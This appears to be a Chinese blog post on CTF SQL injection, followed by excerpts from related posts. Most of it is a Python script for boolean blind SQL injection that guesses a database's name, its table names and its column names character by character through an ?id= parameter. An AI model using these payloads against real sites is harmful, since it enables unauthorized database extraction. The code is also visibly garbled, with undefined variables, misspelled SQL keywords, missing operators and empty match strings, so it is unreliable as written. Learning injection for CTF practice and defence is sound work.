在做ctf時,我們會碰到很多的sql注入的題目,可能會有各種各樣的過濾,有時候sqlmap會無法滿足我們的需求,無法繞過各種各樣的注入,所以我們需要手寫盲註腳本來對注入點進行注入,自己寫指令碼的好處就是我們可以根據自己的需求對指令碼的功能進行修改,達到繞過注入過濾的目的。
importrequests
s =requests.session()
url = input("
請輸入url:")
payloads = '
abcdefghijklmnopqrstuvwxyz1234567890'#
mysql字母不區分大小寫,所以不用加入大寫字母,還有各種符號,可以自由新增
headers = #
需要登陸的可以在這裡加入cookies
#爆破資料庫的長度
for l in range(1,50):#
這裡用來爆破庫的長度,非必須,可以將爆破庫名時的迴圈設定的長一點,大於正常庫名長度
databaselen_payload = '
?id=1\' and length(database())=
'+str(l) + '
%23&submit=submit#'#
將#和\號使用url編碼,在#號後將完整的url拼接起來
if''
in s.get(url+databaselen_payload,headers=headers).text:#
這裡面寫入判斷布林型存在的根據
databaselen =l
break
print('
database_lenth:
'+str(databaselen))
#爆破資料庫的名
database_name = ''
#for l in range(1,databaselen+1):
for i in
payloads:
database_payload = '
?id=1\' and substr(database(),
'+str(i)+'
\' %23&submit=submit#'#
拼接完整的url
if''
in s.get(url+database_payload, headers=headers).text:
database_name +=i
print('
database_name:
'+database_name)
#爆破表的個數
for l in range(1,50):
tablenum_payload = '
?id=1\'and(select count(table_name) from information_schema.tables where table_schema=database())=
'+str(j)+'
%23&submit=submit#'if
''in s.get(url+tablenum_payload,headers=headers).text:
tablenum =l
break
print('
tablenum:
'+str(tablenum))
#爆出所有的表名
#先爆出表名的長度
for l in
range(0,tablenum):
table_name = ''
for i in range(1,50):
tablelen_payload = '
?id=1\' and length(substr((select table_name form information_schema.tables where tale_schema=database() limit
' +str(l) +'
,1),1))=
' +str(i) +'
%23&submit = submit#'#
用法substr('this is a test', 6) 返回'is a test'
if''
in s.get(url+tablelen_payload, headers=headers).text:
tablelen =i
print('
table
'+str(j+1)+'
_length:
'+str(tablelen))
#(2)內部迴圈爆破每個表的表名
for m in range(1,tablelen+1):
for n in payloads: #
i在上個迴圈用過了
table_payload = '
?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit
'+str(j)+'
,1),
'+str(m)+'
,1)=\'
'+str(n)+'
\' %23&submit=submit#'if
'user id exists in the database.
'in s.get(url+table_payload, headers=headers).text:
table_name +=n
print('
table
'+str(j+1)+'
_name:
'+table_name)
#根據上個指令碼獲得的結果,來跑對應表中的字段
s =requests.session() #
保持會話
#判斷表中的字段數目
columnnum =0
for l in range(50):
columnnum_payload = '
?id=1\' and(select count(column_name)from information_schema.columns where table_name = \
'') =
'str(l)+'
%23&submit = submit'if
''in s.get(url+columnnum_payload,headers=headers).text:
columnnum =l
break
print('
columnnum:
'+str(columnnum))
#爆出每個欄位的長度
for l in
range(0,columnnum):
column_name = ''
for i in range(1,50):
columnlen_payload = '
?id=1\' and length(substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit
' +str(
j) + '
,1),1))=
' + str(i) + '
%23&submit=submit#'if
'user id exists in the database.
'in s.get(url + columnlen_payload, headers=headers).text:
columnlen =i
print('
column
' + str(j + 1) + '
_length:
' +str(columnlen))
#(2)內部迴圈爆破每個表的表名
for m in range(1, columnlen + 1):
for n in payloads: #
i在上個迴圈用過了
column_payload = '
?id=1\' and substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit
' +str(
j) + '
,1),
' + str(m) + '
,1)=\'
' + str(n) + '
\' %23&submit=submit#'if
'user id exists in the database.
'in s.get(url + column_payload, headers=headers).text:
column_name +=n
print('
column
' + str(j + 1) + '
_name:
' + column_name)
這種指令碼還是比較簡單的,我們可以在碰到具體的題時,對指令碼內容進行修改,實現各種功能。
Python 測試布林型盲注指令碼
sqli labs第八關 單引號布林型盲注,手工測出database長度,個人覺得手工比較快 然後使用指令碼測database內容,這個指令碼就比手工快多了,指令碼內容如下 1 import sys2 import requests 34 url 5 payload and ascii substr...
sql注入之 布林盲注
一 布林型盲注 盲注,就是在伺服器沒有錯誤回顯是完成的注入攻擊。伺服器沒有錯誤回顯,對於攻擊者來說缺少了非常重要的資訊,所以攻擊者必須找到乙個方法來驗證注入的sql語句是否得到了執行。注入原理 ascii ord 函式,返回字元ascii碼值 引數 str單字元 length 函式,返回字串的長度。...
sql注入之布林盲注
今天我們主要講一下布林盲注是如何使用的,顧名思義,盲注,就是我們需要去不停的去測試,首先我們測試注入型別,然後我們再去帶入相應的函式資訊。布林盲注很明顯的就是ture跟fales,也就是說它會根據你輸入的注入資訊返回ture或者fales,也就沒有了之前的報錯資訊。布林盲注裡面比較常用得函式是len...